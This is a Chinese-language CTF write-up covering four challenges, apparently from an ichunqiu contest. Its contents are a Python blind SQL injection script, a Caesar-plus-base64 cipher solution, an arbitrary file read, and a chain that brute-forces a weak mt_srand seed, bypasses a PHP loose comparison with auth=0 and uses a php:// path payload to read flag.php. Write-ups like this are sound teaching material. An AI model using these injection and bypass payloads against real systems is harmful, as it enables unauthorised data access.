0x01 Some Words(Web)
这道题进去后什么也没有,右键看了一下源代码,发现有一个链接
url/index.php?id=1
一看就可能有注入吧,进去后发现
当id=1和id=2的时候是不一样的,那么就有盲注的条件了。
然后看一看,发现过滤了union、and、单引号等,构造语句:
if((ascii(substr((select database() limit%200,1),{index_str},1))^{index}),1,2)
最后写出脚本
import requests
url_true = "http://2206e635e02940c3ab392ec47708d32c5252f56c8de0413b.game.ichunqiu.com/index.php?id=2"
ret_true = requests.get(url = url_true).content
field = ""
#"Hello Guy!"
for i in range(1, 60):
for index in range(32, 128):
ret = requests.get("http://2206e635e02940c3ab392ec47708d32c5252f56c8de0413b.game.ichunqiu.com/index.php?id=if((ascii(substr((select f14g from f14g limit%200,1),{index},1))^{index_str}),1,2)".format(index=i, index_str = index)).content
#print ret
if ret == ret_true:
field += chr(int(index))
print field
break
得到flag
0x02 classical(Crypto)
首先给了密文
Ld hcrakewcfaxr, f hofjjlhfo hlaxuc lj f krau ev hlaxuc kxfk zfj tjui xljkeclhfoor gtk dez xfj vfooud, vec kxu pejk afck, ldke iljtju. Ld hedkcfjk ke peiucd hcrakewcfaxlh foweclkxpj, pejk hofjjlhfo hlaxucj hfd gu acfhklhfoor hepatkui fdi jeoyui gr xfdi. Xezuyuc, OrmkO3vydJCoe2qyNLmcN2qlpJXnM3SxM2Xke3q9 kxur fcu foje tjtfoor yucr jlpaou ke gcufn zlkx peiucd kuhxdeoewr. Kxu kucp ldhotiuj kxu jlpaou jrjkupj tjui jldhu Wcuun fdi Cepfd klpuj, kxu uofgecfku Cudfljjfdhu hlaxucj, Zecoi Zfc LL hcrakewcfaxr jthx fj kxu Udlwpf pfhxldu fdi guredi. F btlhn gcezd veq mtpa eyuc kxu ofsr iew.
在词频分析https://quipqiup.com/,选择statistic模式
得到结果
被选择的部分就是我们要解的flag
这题试了很多种想法,最后队里脑洞打开,发现时凯撒加base64,得到flag。。
0x03 Welcome To My Blog(Web)
这道题吧,我用的方法好像不是正规方法,做出来之后队里才有人说还有别的方法。。
这道题,我先上来扫了一下目录
发现有flag.php
然后,这里其实有一个任意文件读取漏洞
将后面的passage改成flag,就好了,就可以得到flag了
0x04 Step By Step(Web)
讲道理,这道题出的真的很不错,考点有很多,而且难度也不错。
首先,扫一下目录:
扫到了这些,发现有robots.txt,访问后发现存在源码,下载源码,发现是phpjiami加密过的
google了一下phpjiami的解密方式,发现了p神的博客写的特别好,分享一波https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
用其中方法解密外加队友的赞助,最后得到三个解密后的源码
index.php
<?php
$seed = rand(0, 99999);
mt_srand($seed);
session_start();
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars)-1), 1);
}
return $password;
}
$key = auth_code(16, false);
echo "The key is :".$key."<br>";
$private = auth_code(10, false);
if (isset($_POST['private'])) {
if ($_POST['private'] === $_SESSION["pri"]) {
header("Location:admin.php");
}
else {
$_SESSION["pri"] = $private;
die("No private!");
}
}
?>
admin.php
<?php
if($_GET['authAdmin']!="***********"){
die("No login!");
}
if(!isset($_POST['auth'])){
die("No Auth");
}else{
$auth = $_POST['auth'];
$auth_code = "**********";
if(json_decode($auth) == $auth_code){
;
}else{
header("Location:index.php");
}
}
?>
file.php
<?php
if ($_POST["auth"] == "***********") {
if (isset($_GET["id"]) && (strpos($_GET["id"], 'jpg') !== false)) {
$id = $_GET["id"];
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);
if (isset($matches[1])) $id = $matches[1];
if (file_exists("./".$id) == false) die("file not found");
$img_data = fopen($id, 'rb');
$data = fread($img_data, filesize($id));
echo $data;
}
else {
echo "file not found";
}
}
?>
得到源码后就要开始审计了,首先第一关自然是index.php了,这里发现随机数种子只是在0到99999里的,这个范围有点小,因此可以爆破出随机数种子,这样就可以计算出private的值了,写了个php的脚本
set_time_limit(0);
for($i = 1;$i<=99999;$i++)
{
echo $i;
mt_srand($i);
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$password = '';
for ($j = 0; $j < 16; $j++) {
$password .= substr($chars, mt_rand(0, strlen($chars)-1), 1);
}
if($password === "[此处放入key的值]")
{
echo "find seed".$i;
break;
}
if($i == 99999)
{
echo "cannot find";
break;
}
}
mt_srand($i);
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars)-1), 1);
}
return $password;
}
$key = auth_code(16, false);
echo "The key is :".$key."<br>";
$private = auth_code(10, false);
echo $private;
然后访问页面,通过他给的key放入脚本中来计算private的值
红圈里的就是private的值了,然后用火狐的hackbar提交,提交成功后就会跳转到admin,并且自动get提交authAdmin参数
然后就该审计admin.php了,这里有个判断需要进行绕过
if(json_decode($auth) == $auth_code)
这里$auth_code是未知的,但是我们还要跟它相等,但是我们可以推测出应该是一个字符串,并且这里是双等于,可能是php弱类型比较问题,因此整形数字0在php中是可以与字符串比较后返回TRUE的,直接post过去auth=0,就绕过了
发现出来了一个文本框和按钮,右键源代码发现是一个表单和js代码
<form>
<input type="text" name="filename" id="filename">
<input type="button" id="give">
</form>
<script>
$("#give").click(function() {
filename = $("#filename").val();
$.ajax({
url:'file.php',
type:'post',
data:{'id':filename,'auth':'1234567890x'},
dataType:'text',
success:function(result) {
console.log(result);
},
error:function(XMLHttpRequest, textStatus, errorThrown) {
console.log(XMLHttpRequest);
console.log(textStatus);
console.log(errorThrown);
}
})
})
</script>
这里可以发现,可以将向file.php中传东西了,那么我们就开始审计file.php。
在file.php中,首先post过去的auth要与auth_code相等,这里我们已经在上一步绕过了,然后判断时候有GET参数id,并且id参数中要有jpg字符串,然后进入一个正则表达式,正则表达式匹配resource=后面的参数,并且会将id赋值为match[1]的内容
在php.net中是这样解释match[1]的
也就是上面正则中写的()两个小括号里面的内容会被匹配到,然后id会被传入file_exits()函数判断,如果存在在读取文件。
这段代码本意是读取图片的,但是这里的逻辑有问题,应该先进行匹配,然后判断是否有jpg,而不应该先判断jpg,之后在进行匹配,因此只要在php://和resource之间加入jpg即可,最后payload为
?id=php://jpg/resource=flag.php
得到flag